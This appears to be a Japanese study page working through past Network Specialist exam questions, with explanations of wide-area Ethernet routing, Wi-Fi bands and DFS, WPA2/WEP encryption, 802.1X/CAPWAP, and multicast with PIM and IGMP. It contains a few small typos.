まずは広域イーサネットの物理構成を見ていこう。ここで例に挙げるのは、令和４年度のネットワークスペシャリスト試験午後Ⅱ問Ⅰのユースケースを使いながら見ていこう！
大枠：本社からM社広域イーサネットを経由して本社が保持しているデータセンタへ通信するというシナリオである。

ここでは、本社L3SW11とM社広域イーサネットの区間（赤色の部分）の物理構成がどうなっているのかを見ていく。以下のイラストを参考にしつつやっていこう！では、出発進行！

ステップ1：本社での送信とMDFへの集約

• L3スイッチとSFP+モジュール:
  本社の業務端末やVDIからのパケットは、本社のL3スイッチ（L3SW11など）で処理される。
  L3スイッチのポートに挿さったSFP+モジュールによって、内部の電気信号が光信号に変換される。
  ＊SFP/SFP＋モジュール(Small Form-factor Pluggable)：電気信号と光信号を相互に変換する機器。
• MDF（主配線盤）の経由:
  変換された光信号は、光ファイバーパッチケーブルを通ってビルの地下などにあるMDF室に集約され、ビル内の配線から外部への引き込み口へと繋がる
  ＊MDF(Main Distribution Frame):外部の光ファイバケーブルと内部の光ファイバケーブルの集約点。事業者ではなくビルの所有者側が準備する。光だけでなく電話線なども収容する
  内部の光ファイバと外部のNTTファイルは太さが異なる。それを人間の手で溶かしたりして接続する。その接続したものを格納する箱がODFであり、それを収容しているのがMDF。

ステップ2：NTTアクセス網と局舎の通過（本社側）

• 地下管路からNTT局舎へ:
  本社ビルの地下から出た光ファイバーは、道路の地下管路を通って最寄りのNTTの局舎へ到達する。
  ＊NTT局舎：全国数千か所に渡って設置されている。ネットワークの中継ポイント
• NTT局舎でのハードウェア・スルー（中身を見ない転送）:
  NTTの局舎（ODFやアクセス回線終端装置）では、パケットの中身（IPアドレスなど）は一切見ない。「この物理回線（またはアクセス回線）から入ってきた信号は、あらかじめ契約されたM社用のポートへそのまま流す」という固定的な設定（クロスコネクト）に従い、無条件でキャリアM社のネットワークへ受け渡される。
  ＊ODF(Optical Distribution Frame)：本社はフロアごとに複数のケーブルを持っている。その複数のケーブルを整理するための箱。ODF内の回路上をデータが通るというよりも、ただ物理的に配線をきれいに整えているだけ

ステップ3：キャリアM社網（POP）でのL2 / MPLS転送

• M社収容局（POP）への到着: キャリアM社のPOP（収容局）に届いた信号は、M社のコアネットワーク（MPLS網）に入る。
  ＊POP(Point of Presence)：NTT局舎と同じ考え方を踏襲した仕組み。M社広域イーサネットの出入口を各地に分散配置しているもの。
• MACアドレス・ラベルによる転送:
  広域イーサネットは「巨大なL2ネットワーク」として振る舞う。M社側の装置は、フレームの宛先MACアドレスや内部のMPLSラベルを確認し、「このフレームはデータセンター側（対向拠点）へ向かうべきものだ」と判断して、対向拠点宛てのパス（MPLSトンネル）に載せて高速に転送する。

ステップ4：データセンター側NTT局舎・アクセス網の通過

• 対向側のNTT局舎への到着:
  M社網を通過したデータは、データセンター側の最寄りにあるNTT局舎へ届けられる。
• 局舎からデータセンターMDFへ:
  本社側と同様に、NTT局舎側でも「M社が借り受けている回線から来たもの」として、物理的・論理的な経路に従ってデータセンターのビルへ送り出される。

ステップ5：データセンターでの受信とサーバーへの到達

• データセンターMDFからL3スイッチへ:
  データセンタービルの地下やMDF室に届いた光信号は、光配線盤（ODF）やMDFを経由し、データセンター側のL3スイッチ（L3SW31など）に到達する。
• 電気信号への変換とサーバーへの配信:
  L3スイッチのSFP+モジュールによって光信号から電気信号へ再変換され、最終的にルーティング処理を経て目的のVDIサーバーや業務サーバーへとデータが届けられる。

a:トライバンド　b:アンテナ　c:パスワード　d:チャネルボンディング　e:PoE++　f:マルチギガビットイーサネット　g:スタック　h:DHCPリレーエージェント

a:トライバンド
　３つの異なる周波数帯を使って同時にネットワークを提供すること。基本的な組み合わせは2.4GHz+5GHz(W52 or W53)+5GHz(W56)である。

b~eは基本的な知識問題であるため割愛

f:マルチギガビットイーサネット
　マルチギガビットイーサネットとは既存の古いLANケーブル（Cat5eやCat6）をそのまま活かしながら、1Gbpsを超えて『2.5Gbps』や『5Gbps』といった速度を出せるようにする技術。スイッチ側で変調方式を変えることで今までよりも多くのデータが送れるようになる。つまり、ケーブルはそのままでいいが、スイッチ自体はマルチギガビットイーサネットに対応するスイッチに変更する必要がある。

設問２

（１）周波数帯：①W52 or W53　②W56　　　　利点：より多くのWLAN端末が安定して通信できる

周波数帯：①W52 or W53　②W56
　そもそもW52,53,56とはランダムにつけられた名前ではなく、中心となる周波数帯を明示しているものになっている。つまり、W52とW53は隣り合った周波数帯であるといえる。そのため、干渉などを考慮して、W52とW53は同時に使わずペアとして使う時はW56をペアにするというのが一般的な知見である。

利点：より多くのWLAN端末が安定して通信できる
　無線通信を3つの周波数帯に分散できるため、1つの無線帯域に端末が集中することによる混雑・干渉を減らし、全体の通信効率を高められる。無線リソースを分散して、混雑を緩和できるという表現でもよさそう。

（２）周波数帯：W53,W56　　　　動作：検知したチャネルの電波を停止し、ほかのチャネルに遷移して再開する　　　　影響：APとの接続断や通信断が不定期に発生する

周波数帯：W53,W56
　W53とW56は気象レーダーや船舶レーダーなどの重要無線と周波数が被る帯域（W53とW56）だから、法律でDFS（レーダー回避機能）が義務付けられている。
　＊注意！：屋外用に使うからと勘違いすることもあるが、W53は屋外では使えない。屋外で使えるのはW56だけ。

動作：検知したチャネルの電波を停止し、ほかのチャネルに遷移して再開する
▼DFA（Dynamic Frequency Selection）の動作
１．起動時・切り替え時の「じっと待つ時間」（CAC）
　・ルーターの電源を入れたり、チャンネルを切り替えたりした直後、いきなり電波を出すことは法律で禁止されている。
　・まずは一定時間（W53なら約1分、W56ならなんと約10分間）、「ここに気象レーダーなどの電波が来ていないか？」をひたすら聴覚（受信）だけで監視。この安全確認の時間をクリアして初めて電波を発射できる。
２．通信中の常時監視（ISM）
　・通信が始まってからも、ルーターは常に耳を澄ませて、レーダー波が割り込んできていないかを監視し続ける。
３．レーダー検知時の「即座の退避と停止」
　・さらに、一度レーダーを検知したチャンネルは、法律上「しばらく（約30分間）は使ってはいけない」というペナルティ（非居住期間）が課される。
もし通信中にレーダーを検知すると、ルーターは数秒（規格では10秒以内など）という猛スピードでそのチャンネルの電波を完全停止させ、別の安全なチャンネルへ接続をジャンプさせる。これが試験の答えにあった「検知したチャネルの電波を停止し、他のチャネルに遷移して再開する」という動作の正体。

影響：APとの接続断や通信断が不定期に発生する
　上記のDFSフローを見てわかる通り、干渉を検知すると当該チャネルが停止される。また、ルータの検知プロセス中は接続できなくなる。そして、気象レーダーや船舶レーダーはいつ電波が来るか予想できない。これらの特徴からAPとの接続断や通信断が不定期に発生するという回答になる。

設問３

（１） 800

1hで7.2GBの動画を再生できることが条件にある。
→(ビットに変換)　7.2GB × 8 = 57.6Gb　
→(1時間当たりの合計データ量)　57.6 × 50人 = 2880Gb　
→(1秒当たりの合計データ量)　2880Gb ÷ 3600 = 0.8Gbps　
→(1秒当たりの合計データ量をMに変換)　0.8 × 10³　= 800Mbps　

（２）区間：（ii）, 理由：平常時にリンク本数分の帯域を同時に利用できるから

区間：（ii）
区間（ii）は「基幹L3SW」と「サーバL2SW1」の間を結ぶ区間。
区間（iii）もなかなかのデータ量があるから危険では？と思うが区間（iii）はフロアごとにケーブルがあるので問題ない。しかし、（ii）は３つのフロアがすべてまとめられたデータを扱わなくてはならない。
区間(i)はインターネットとのやり取りなので大容量が求められそうだが、問題文中の「STPとVRRPではボトルネック～」とあるように、区間(i)はIP層のやり取りなのでSTPとVRRPの影響は受けず、問の回答として適切ではない。

理由：平常時にリンク本数分の帯域を同時に利用できるから
STPではループ防止のため、ループ構造になっているインタフェースをブロックする。要は、利用されないケーブルがでる。しかし、ここでリンクアグリゲーション、つまり複数のケーブルを１本と扱うことによって、今まで使っていなかったケーブルが使えるようになる。結果として回答の「平常時にリンク本数分の帯域を同時に利用できるから」という回答になる

p.14 Q.Wi-Fi4ってなに？

Q.最大通信速度が600Mbpsってどうやって算出するの？

①108 サブキャリア× 6 ビット/シンボル(64QAM)= 648 ビット/シンボル
　108のサブキャリアは算出したというよりも規格で「サブキャリアは108本まで使える」と規定で決められている
②1秒 ÷ 3.6マイクロ秒 = 約277,777回/秒 のシンボルを送れる
　　1つのOFDMシンボルの送信にかかる時間(シンボル period)が3.6マイクロ秒と規格で定められています
③648ビット × 277,777回/秒 ≒ 180 Mbps
　符号化前のビットレートを計算
④180 Mbps × (5/6) = 150 Mbps
　誤り訂正のための冗長ビットが混ざっている分、実際に運べる正味のデータは全体の5/6だけ。
⑤150 Mbps × 4ストリーム = 600 Mbps
　MIMOストリーム数を掛ける
これが最終的な理論最大値です。

①108 サブキャリア× 6 ビット/シンボル(64QAM)= 648 ビット/シンボル
②1秒 ÷ 3.6マイクロ秒 = 約277,777回/秒 のシンボルを送れる
③648ビット × 277,777回/秒 ≒ 180 Mbps
④180 Mbps × (5/6) = 150 Mbps
⑤150 Mbps × 4ストリーム = 600 Mbps

Q.W52 / W53 / W56とは？

Q.なんでチャンネルは4刻みなの？

５GHz帯のチャネル番号割り当てには以下のルールがある。

中心周波数(MHz) = 5000 + (チャネル番号 × 5)

要は、５MHzごとにチャネル番号を割り当てる必要があるということ。そして、干渉を防ぐには20MHz空ける必要がある。結果として４ch分ずつ空いたチャネル番号が使われているということ。
もちろんW52などでも37,38を割り当てようと思えば割り当てられるが、それは干渉を引き起こしてしまうので、わざわざ明示的に割り当てる必要がない。結果として、W52の場合は36, 40, 44, 48の４つが使われている。

ちなみに2.4GHzの場合は👇となる。

中心周波数(MHz) = 2407 + (チャネル番号 × 5)

#例
チャンネル 1 の場合:
2407 + (1 x 5) = 2412（2.412 GHz）

チャンネル 6 の場合:
2407 + (6 x 5) = 2437（2.437 GHz）

Q.64QAMってなに？

▼QAMとは？

上記より、64QAMとは1シンボルに6ビットの情報を乗せた変調方式（電気→電波）である。

Q.MIMOって何？

MIMOとはMultiple Input Multiple Outputの略で、複数のアンテナを使いながらも、受信側がそれぞれを別々の種類のデータとして識別できることによって、1回に送れる通信データ量を増やせる、というのがMIMOのメリット。これをどうやって実現しているかというと、連立方程式のような計算。まず、パケットの前半にはトレーニング信号(テストデータ)が組み込まれている。このトレーニング信号によって、「このアンテナからの信号は、これくらいの角度のずれ・これくらいの強弱で届く」というチャネル係数(角度・強弱の情報)を、あらかじめ既知の値として把握しておく。その後、実際のデータが届くと、その”既に分かっている角度・強弱の情報”を使って、連立方程式を解くようにして、”元々どのアンテナが何を送信したか(未知のデータ)”を逆算して復元する。この逆算の過程で、それぞれ別のアンテナから来たデータが、自然と別々のものとして識別・分離される。これがMIMOでやっていること。一方、SISOでもマルチパスは存在しますが、SISOがやっているのは1種類だけのデータが、複数経路を経て歪んだものを、元の1つの信号に”補正”する処理であり、複数の異なるデータを分離しているわけではない。これがSISOとMIMOの本質的な違い。

✅ MIMO = Multiple Input Multiple Output
✅ 複数アンテナで、別々のデータを送ることで通信容量が上がる
✅ トレーニングデータ(テストデータ)はパケットの前半に組み込まれている
✅ トレーニングデータから、角度の変化・弱まり具合(チャネル係数)を把握する
✅ 実データが届いたら、連立方程式的に逆算して元のデータを復元する
✅ 別々のアンテナから来たデータも、この逆算の過程で識別・分離される
✅ SISOはマルチパスに対して「補正」をしているだけで、「複数データの分離」はしていない、というSISOとMIMOの違い

▼MIMOの基本仕様と仕組み

▼SISO と MIMO の違い

▼MIMOのメリット・役割

Q.OFDMって何？

OFDMとは、サブキャリアと呼ばれる細い周波数の”道”を複数作ることで、一度に複数の道を使ってデータを同時に送れるようにする技術。これは、1つの周波数帯(チャネル)を、内部でさらに細かく分割することによって実現している。ここで当然、「細切れにしたら、隣同士で干渉が起きるのではないか」という疑問が出てくる。実際、2.4GHz帯や5GHz帯において、チャネル同士(例えば5GHz帯の36, 40, 44, 48など)を20MHzずつ間隔を空けて使っているのは、まさにこの干渉を避けるため。しかしOFDMでは、サブキャリア同士の周波数間隔を、数学的に精密に計算し、信号を読み取るタイミングを工夫することで、隣接するサブキャリア同士が”打ち消し合う”ように設計されている。これにより、干渉を実質的にゼロに抑えながら、隙間なく効率よく周波数を敷き詰めて使うことができる。では、この技術を異なるチャネル同士(例えばチャネル36とチャネル40)にも応用できないのか、という疑問も出てくるが、これはできない。理由は、OFDMによる干渉の打ち消し合いが成立するのは、あくまで”1つのチャネルの中で、1つのデバイスが単独で制御している範囲”に限られるから。異なるチャネルは、通常それぞれ異なるデバイスが個別に制御しており、タイミングなどを精密に協調させる仕組みを持っていない。OFDMの打ち消し合いには、送信側と受信側が事前にぴったり同期した、精密な協調動作が不可欠であるため、こうした協調関係を持たない異なるチャネル同士には適用できない。このような仕組みによって、OFDMは1つのチャネルの中に複数のサブキャリアを効率よく敷き詰め、それぞれで別々のデータを同時に送ることを可能にしており、これが通信の高速化に寄与している。

▼OFDMの基本概念と仕組み

▼「直交性（Orthogonality）」と干渉を防ぐ仕組み

▼OFDMの主なメリット

p.14 Q.Wi-Fi5とは？

Q.最大通信速度6.9GHzとは？

Wi-Fi4の時の最大通信速度は600Mbpsだった。では、Wi-Fi5の6.9Gbpsとはどのように算出されたのか見ていこう！

①468(サブキャリア、160MHz幅)× 8(ビット/シンボル、256QAM)= 3744 ビット/シンボル
　468のサブキャリアは算出したというよりも規格で「サブキャリアは468本まで使える」と規定で決められている

②1秒 ÷ 3.6マイクロ秒 = 約277,777回/秒 のシンボルを送れる
　　1つのOFDMシンボルの送信間隔(シンボル period)が3.6マイクロ秒と規格で定められています
③3744ビット × 277,777回/秒 ≒ 1,040 Mbps(約1.04Gbps)
　符号化前のビットレートを計算
④1,040 Mbps × 5/6 ≒ 867 Mbps
　誤り訂正のための冗長ビットが混ざっている分、実際に運べる正味のデータは全体の5/6だけ。
⑤867 Mbps × 8(空間ストリーム数)= 6,936 Mbps≒ 6.9 Gbps
　MIMOストリーム数を掛ける。802.11acは理論上、最大8本の空間ストリーム(MIMO)をサポートしている。
これが最終的な理論最大値。

①468(サブキャリア、160MHz幅)× 8(ビット/シンボル、256QAM)= 3744 ビット/シンボル
②1秒 ÷ 3.6マイクロ秒 = 約277,777回/秒 のシンボルを送れる
③3744ビット × 277,777回/秒 ≒ 1,040 Mbps(約1.04Gbps)
④1,040 Mbps × 5/6 ≒ 867 Mbps
⑤867 Mbps × 8(空間ストリーム数)= 6,936 Mbps≒ 6.9 Gbps

p.14 Q.Wi-Fi6とは？

p.14 Q.PoEとは？

p.14 Q.WPA2とは？

Q.AESとCCMPって何？

【暗号化方式の全体像】
 ├── ① 共通鍵暗号方式 (対称暗号)  ──★ここに「AES」が入る！→その中にCCMPが入る
 └── ② 公開鍵暗号方式 (非対称暗号) ──★RSAやECCなどはこちら

AESとは、共通鍵暗号方式に分類される暗号アルゴリズムの1つ。CCMPとは、そのAESという暗号アルゴリズムを、無線(Wi-Fi)通信のパケット形式に合わせてどのように運用するかを定めたプロトコル。

Q.WEP(Wired Equivalent Protocol)って何？

▼WEPフロー

▼暗号化手順
１．WEPキー（事前共有パスワード）とIVをまぜる
＊IVはパケットごとに変化する
２．２で混ぜた値をRC4という暗号アルゴリズムに入れてデータと同じ長さのキーストリームを生成する
３．キーストリームとデータをXORして暗号文を生成
４．３でできたデータとIV（平文）をセットして空中に飛ばす

▼WEPについて

平成28年（2016年）ネスペ午後Ⅰ　問二　解答解説

設問1 ア：AES　イ：事前共有鍵　ウ：SIMカード　エ：APN　オ：NAPT　カ：CONNECTア：AES　　WEPやWAPまではRC4ベースの暗号化を採用していた。しかしこれには脆弱性があるので、WPA2からは、より強固なAESが使わ...

ascend-beyond.com

2026.07.15

Q.WAP(Wi-Fi Protected Access)って何？

Q.エンタープライズモードとパーソナルモードの違いは？

Q.無線通信が使われるまでのフローは？

▼登場人物

• WLAN端末（クライアント）
• AP（アクセスポイント）
• WLC（無線LANコントローラ）：図1にあり、管理やデータ処理を行う
• 認証サーバー（RADIUSサーバー）：図1の「RADIUSサーバ」

通信開始からデータ通信までの大まかな流れは、大きく分けて「① プローブ・認証方式のネゴシエーション」「② 802.1X / EAP認証（RADIUSサーバー連携）」「③ 4-Wayハンドシェイク（共通鍵の導出）」「④ データ通信開始（CAPWAP等）」の4ステップで進む。

ステップ 1：探索とアソシエーション（接続要求）

1. プローブ要求・応答（Probe Request/Response）:
   端末が周囲のAPを探すためにプローブ要求を投げ、APがESSIDなどの情報を返す。
   ＊プローブ要求：WLAN端末が特定のAPをまだ見つけていない状態（あるいは過去に繋いだことのあるお気に入りのWi-Fiを探すとき）に、周囲へ向かって「おーい、誰かいるかー？」とブロードキャストで呼びかける。これをプローブ要求（Probe Request）と呼ぶ。ビーコンを出していないステルスSSIDを探すときにも活躍する。
   ＊ビーコン：スマホがプローブ要求を投げなくても、AP側が一定間隔（通常100msごと）で「ビーコン（Beacon）」という電波を自発的に周囲へバラ撒いている
   ＊WLC：APが発するビーコンやプローブ応答の情報はすべてWLCが「君はこういうチャネルでこの強さでやって」と指示通りに従っている。
2. 認証（Authentication – オープンシステム認証など）:
   Wi-Fiの規格上最初のステップとして行われる（実質的なセキュリティ認証は後続のEAPで行われる）。
3. アソシエーション要求・応答（Association Request/Response）:
   端末とAP間で無線リンクを確立するためのやり取りを行う。この段階ではまだ通信は暗号化されておらず、データも通れない。

ステップ 2：802.1X / EAP認証（RADIUSサーバーの登場）

今回はWPA3-Enterprise（あるいはWPA2-Enterprise）などの認証を想定している。

1. EAPoL（EAP over LAN）の開始:
   AP（またはWLC）と端末間でEAP認証がスタートする。
   ＊EAP（Extensible Authentication Protocol）：端末（スマホやPC）と認証サーバーの間で「どうやってID/パスワードのデータをやり取りするか」のルールがバラバラだと困ってしまう。そこで登場するのがEAP。
2. EAPメッセージの転送（CAPWAPカプセル化）:
   APは端末から受け取ったEAPメッセージを、CAPWAP（Control And Provisioning of Wireless Access Points）というプロトコルでカプセル化し、上位にあるWLCを経由して、あるいは直接RADIUSサーバーへと転送する。
   ＊CAPWAP：APとWLC間の通信をサポートする。この区間ではAPが「どのチャネルを使うか」、「どの強さで」、「死活監視状況は」などの様々な情報をやり取りする必要がある。それのフォーマットを指定しているのがCAPWAP。これがないと、「え？なんかチャネル番号が書かれているけどこれは何に対する指示？」「え？なんかユーザID・パスワードっぽいけどこれはEAPであってるの？」などカプセル化された情報を判断できなくなってしまう。
3. RADIUSサーバーによる認証:
   ・RADIUSサーバーがユーザーIDやパスワード（証明書など）を検証。
   ・認証が無事に成功すると、RADIUSサーバーと端末の間でMSK（Master Session Key）というマスターキーが共有される（RADIUSからはWLC/AP経由で鍵の素材などが渡される）。
   ＊RAIUS：ユーザを認証するためのプロトコル。EAPをカプセル化することで、認証サーバ側は「あ、ユーザIDはこれね！」「あ、EAPパケットのデータはこれね」と明示的に判断できるようになる。これがないと「え？ユーザIDは？」「どれがEAPパケットなの？」と判断できなくなる。
   最初のWLCからRADIUSメッセージはWLCがEAPの情報をもとにRADIUSフィールドのユーザIDを指定する。しかし、それ以降は基本的にWLCはEAPを情報を見ずにRAIDUSにカプセル化するだけ。

ステップ 3：4-Wayハンドシェイク（暗号鍵の生成）

MSKをベースにして、実際の無線区間の暗号化通信に使うための鍵を生成・共有するステップです。

1. PMK（Pairwise Master Key）の導出:
   先ほどのMSKなどから、PMKを生成。
2. 4-Wayハンドシェイクの実行:
   ・APと端末の間で4往復（4つのメッセージ）のやり取りを行い、お互いが秘密鍵を持っていることを確認する。
   ・これにより、個別の通信を暗号化するためのPTK（Pairwise Transient Key）が生成されます。
3. 暗号化通信の確立:
   このハンドシェイクが完了した瞬間から、無線区間のデータが強固に暗号化（CCMPやGCMPなど）されるようになる。

ステップ 4：データ通信の開始とWLCのモード

1. データ通信の開始:
   認証と暗号化が完了し、DHCPサーバーからIPアドレスが割り当てられると、晴れてインターネットや動画コンテンツサーバーへの通信が可能になる。
2. WLCの役割（会話文より）: 今回の会話文（C課長とB主任のやり取り）にもあるが、「利用者認証後のWLAN端末の通信をWLCを経由せずに通信するモード」（中央集約型ではなく、トラフィックは直接L2SW等へ流すローカルブレイクアウト/FlexConnectのような動作）などに設定されるケースもあり、認証時とデータ転送時で経路が最適化される。

Q.CAPWAPトンネルはどうやって張るの？

では、APの電源が入ってから、WLCと繋がって通信できるようになるまでの大まかなステップを見ていこう！

ステップ①：IPアドレスの取得とWLCの探索（Discovery）
　１．APが起動すると、まずDHCPサーバーから自分のIPアドレスをもらう。
　２．その際、Option 43 を使って「お前のコントローラ（WLC）はあそこだよ」というWLCのIPアドレスを教えてもらう
　※他にも、DNSの名前解決やブロードキャストを使って探す方法もある）。

ステップ②：CAPWAPディスカバリー（Discovery Request / Response）
　１．見つけたWLCのIPアドレス（あるいは手動設定されたアドレス）に向けて、APから CAPWAP Discovery Request （UDP 5246）を投げる。
　２．WLCから「ここにいるよ！」と Discovery Response が返ってくる。
　３．これで互いの存在を確認する。

ステップ③：DTLSハンドシェイク（暗号化の確立）
　・コントロール通信（設定や死活監視）は、標準で「DTLS（Datagram TLS）」という仕組みでガチガチに暗号化される（※昔は暗号化なしのモードもあったが、セキュリティ上、現在は暗号化が基本）。
　・データ通信（ユーザーがアクセスするWebデータなど）については、設定によって暗号化する・しないを選べる。

ステップ④：設定の同期とトンネル確立（Join ＆ Configuration）
　・APとWLCの間で「うちはこういう機種のAPです」「よし、じゃあこの最新設定ファイルを適用しなさい」というやり取り（Join/Configuration）が無事に終わると、正式にCAPWAPのコントロール用トンネルとデータ用トンネルが確立する。

Q.DTLSってなに？

DTLSはUDP上で動作するTLS。本来TLSはTCP上で作動するため、UDP上で作動する場合は順序制御・欠損検知などのTCPが実施する作業を追加で実施する必要がある。以下がDTLSの特徴的な機能である。
▼DTLSの特徴的な機能

1. メッセージのシーケンス番号（順番・欠損管理）
   • DTLSのハンドシェイクメッセージには、すべて「何番目のメッセージか」の番号が振られている。これにより、パケットが前後して届いても正しい順番に並べ替えることができる。
2. タイムアウトと再送タイマー（Reliability Mechanism）
   • 「メッセージを送ったけど、一定時間経っても返事（ACKや次のメッセージ）がないぞ？」となった場合、送信側が自発的に同じハンドシェイクメッセージを再送する仕組みがプロトコル自体に組み込まれている。
3. フラグメンテーションへの対策（MTU超過防止）
   • TLSでは、サーバー証明書などをデカいままポンと送ってもTCPが勝手に分割（セグメント化）してくれるが、UDPは大きすぎるとIPレイヤーで断片化（フラグメンテーション）されてロスしやすくなる。そのため、DTLSのハンドシェイクメッセージは、UDPのパケットサイズ（MTU）を超えないように細かく分割して送る工夫がされている。

あとは、基本的にTLSと同じ。

p.17 Q.WLCって何？

▼WLCの機能

1. アクセスポイント（AP）の一元管理（管理・コンフィグ）
   • 数十台〜数千台あるAPのファームウェアのアップデートや、設定の流し込みを一括で行う。「あそこのAPは不調だから再起動させよう」などもWLCから一発。
2. RRM（電波リソース管理）による自動最適化
   • 隣り合うAP同士が干渉しないように、「チャネルの自動割り当て」や「電波出力（送信パワー）の自動調整」をリアルタイムで行い、Wi-Fiの混雑を防ぐ。
3. 認証・セキュリティの集約（オーセンティケーター）
   • APからCAPWAPで送られてきたEAPパケットを受け取り、それをRADIUSサーバーに中継する。認証が通ったあとの「4-Wayハンドシェイク（またはその指示）」を管理・主導する拠点になる。
4. トラフィックの集約とルーティング（ローミングの神）
   • ユーザー（スマホを持った人）が、フロアを歩き回って「AP A」から「AP B」へ移動したとき（ローミング）、無線区間が切り替わっても、WLCが裏でパケットの向き先をパッと切り替えてくれるため、ユーザーは通信が途切れることなく（IPアドレスも変えずに）移動できまる。
5. VLANとポリシーの割り当て（モビリティ）
   • ユーザーが接続したSSID（社用、ゲスト用など）に応じて、「この人は社内VLAN 10に通す」「こっちのゲストはインターネット専用のVLAN 99に通す」といった通信の交通整理（タグ付け・ポリシー適用）を行う。

Q.RRM（Radio Resource Management）ってなに？

RRMとは複数のアクセスポイント（AP）が発する電波（チャネルや出力）を、WLCが自動で監視・調整して、お互いに邪魔し合わない（干渉しない）ように最適化する仕組み

1. DCA（Dynamic Channel Assignment）
   • 意味： 周りのAP同士が干渉しないように、チャネル（利用する周波数帯の番号）を動的に割り当て・変更する機能。
2. TPC（Transmit Power Control）
   • 意味： 電波の強さ（送信出力）を自動で調整する機能。「周りに他のAPが少ないから出力を下げて電波の干渉を減らそう」「ここは電波が届きにくいから出力を上げよう」と、電波のパワーを自動制御する。
3. RX-SOP / Coverage Hole Detection などの周辺機能
   • 電波の死角（カバーホール）を検知して周囲の出力を上げたり、不要な低速電波をカットしたりする補助機能もある。

p.17 Wi-Fi6Eって何？

オ：PIM-SM　カ：SSM

オ：PIM-SM
　ネットワーク全体のルーター間（FW01、L3SW11、L3SW21の間）で、マルチキャストのパケットを転送するための共通の基盤・ベースとなるルーティングプロトコルがまず必要になる。これが PIM-SM 。「すべてのインタフェースで共通して有効にするベースの仕組み」と書かれていたら、それは大元である PIM-SM 。

Router(config)# interface GigabitEthernet0/1
Router(config-if)# ip pim sparse-mode

カ：SSM
　図2のフロー(c)(d)で確認した通り、レシーバーは (S, G) Join（ソースのIPとグループを指定した要求）を飛ばしている。この「ソースを指定したリクエスト」をルーター側で受け取って、余計なランデブーポイント（RP）を経由せずにダイレクトに配信経路（ツリー）を作る機能が SSM（Source-Specific Multicast） 。

Router(config)# ip pim ssm default

設問２

（１）配信先のレシーバの数に応じてソースの通信量が増加する

ここでは、マルチキャストを使用しない場合のデメリットが聞かれている。
では、逆転の思考で、まずはマルチキャストのメリットを見ていこう！

1. ソース（送信元）の通信量・負荷を一定に抑えられる（レシーバーの数に依存しない）
・ユニキャストの場合、宛先（レシーバー）の数が増えれば増えるほど、ソースが同じデータを何度もコピーして送信しなければならず、送信側の通信量が爆発的に増える。
・マルチキャストであれば、レシーバーが何台（何万人）になろうとも、ソースが送信するデータは常に「1回分（1ストリーム）」だけで済む。
2. ネットワーク帯域（回線）の無駄な消費を防げる
・ユニキャストだと、ルーターやスイッチの手前まで同じパケットがレシーバーの台数分バラバラと流れていき、ネットワークの帯域を激しく圧迫する。
・マルチキャストであれば、ネットワーク機器（ルーターやL3SW）が途中の分岐点までパケットを1本だけ運び、必要になった地点で初めてパケットを複製して枝分かれさせる（ディストリビューションツリーを作る）ため、回線を効率的に使える。
3. 大規模な配信やリアルタイム映像に向いている
・1つの映像データ（今回のK市のIPカメラ映像など）を、複数の部署のPCや大型モニターなどの多数の宛先へ同時に配信するシステムにおいて、ネットワークのボトルネックを解消するための必須技術となる。

上記より、ユニキャストの最大の欠点は、「レシーバーが増えた分だけ、同じデータを何回も送信せざるを得ず、送信元の通信量が跳ね上がる」ことであることが分かる。

（２）160

カメラ１台80Mb/s。それが20台あるので「8Mb/s×20=160Mb/s」となる。

Q.なんで連番で命名しないの？

IPカメラの名前を見ると１の位が0と5~9が使われていない。これは本文中にもある通り、将来追加されるかもしれないカメラのためにとってある。また、本構成ではL2SWとカメラの番号が対応しているため、障害が発生した際に切り分けを早くする工夫が用いられている。
L2SW91 に繋がるカメラ：11〜14
L2SW92 に繋がるカメラ：21〜24
L2SW93 に繋がるカメラ：31〜34

（３）すべてのIPカメラに個別のIPアドレスおよび個別のグループアドレスを使用する

この問いはIGMPv2を使用する際のアドレス設計ではどのように変わるのかを問われている。
まずIGMPv3の特徴は同一のマルチキャスト宛てでも送信元が違えばフィルタリングできるという特徴がある。一方、IGMPv2にはその機能がない。つまり、IGMPv2では送信元を識別してフィルタリングすることができないため、特定のカメラの映像だけを個別に受信するには、全てのIPカメラに個別のグループアドレスを割り当てる必要がある。

Q.逆にIGMPv3を使ったらどういうIP構成になるの？
A.１つのマルチキャストグループで運用することができる

設問３

（１）グループアドレスの設計が容易になる

IGMPv3の場合は送信元もフィルタリングできるので、IPカメラごとにマルチキャストグループアドレスを付与する必要がなく１つのグループアドレスで運用できるようになる。その結果、メリットとしてグループアドレスの設計が容易になるということ。

たまに、この「グループアドレスを１つで運用できるようになる」と回答する人がいますが、これは利点ではなく状態を書いているだけ。なので、その１つで運用できることがどのような利点になるのかを考えると回答はグループアドレスの設計が容易になると、なる。

（２）グループアドレス、インタフェース

IGMPスヌーピングではIGMP Joinを盗み見して「どのインタフェースから、どのマルチキャストグループへ参加要求が来ているか」を記録する。それによって、ソースからマルチキャストが届いたときに、当該マルチキャストアドレスに対応したポートにのみ転送すれば効率のよい転送になるというわけである。つまり、回答はインタフェースとマルチキャストグループである。

ちなみにインタフェースの代わりにポートと書きたくなるが、問題文中には「問題文中の字句を使え」と指定されているためポートではなくインタフェースにしなければならない。

設問４

（１）a設定を追加する機器名：L3SW11,L3SW21b設定を追加するインタフェースの接続先機器名：L2SW11,L2SW21cプロトコル名：IGMPv3

a設定を追加する機器名：L3SW11,L3SW21
　L3SWではIGMPを受け取るインターフェースでIGMPを有効にする必要がある。

b設定を追加するインタフェースの接続先機器名：L2SW11,L2SW21
　L2SW12とL2SW22が接続されているL3SWのインターフェースでは既にIGMPが有効化されているので追加設定は不要。なので、新規にIGMPを有効化するのはL2SW11とL2SW21である。

cプロトコル名：IGMPv3
　本文中より、IGMPv3で運用する旨の記述があるのでIGMPv3が回答となる。

注意！
　L2SWではIGMPスヌーピングを導入してIGMPメッセージを盗み見できる。勘違いしやすいのは、L2でもIGMPを有効にする必要があると勘違いしてしまうこと。。L2はあくまでもスヌーピングのみであり実際にIGMPを有効化するのはL3デバイスである！

p.8 Q. H.264とは？

H.264（別名 AVC：Advanced Video Coding）とは、動画を圧縮・符号化するための国際標準規格（ビデオコーデック）の一つ。主な特徴は以下の通り👇

• 高い圧縮効率: 画質を保ったまま、動画のデータサイズを小さく（または低いビットレートで）送信できるように圧縮できる。そのため、ネットワークの帯域を節約できる。
• 幅広い普及: 地デジ放送、Blu-rayディスク、YouTubeなどの動画配信、スマホの動画撮影やWeb会議など、私たちが日常的に目にするほぼすべての動画で標準的に使われている。
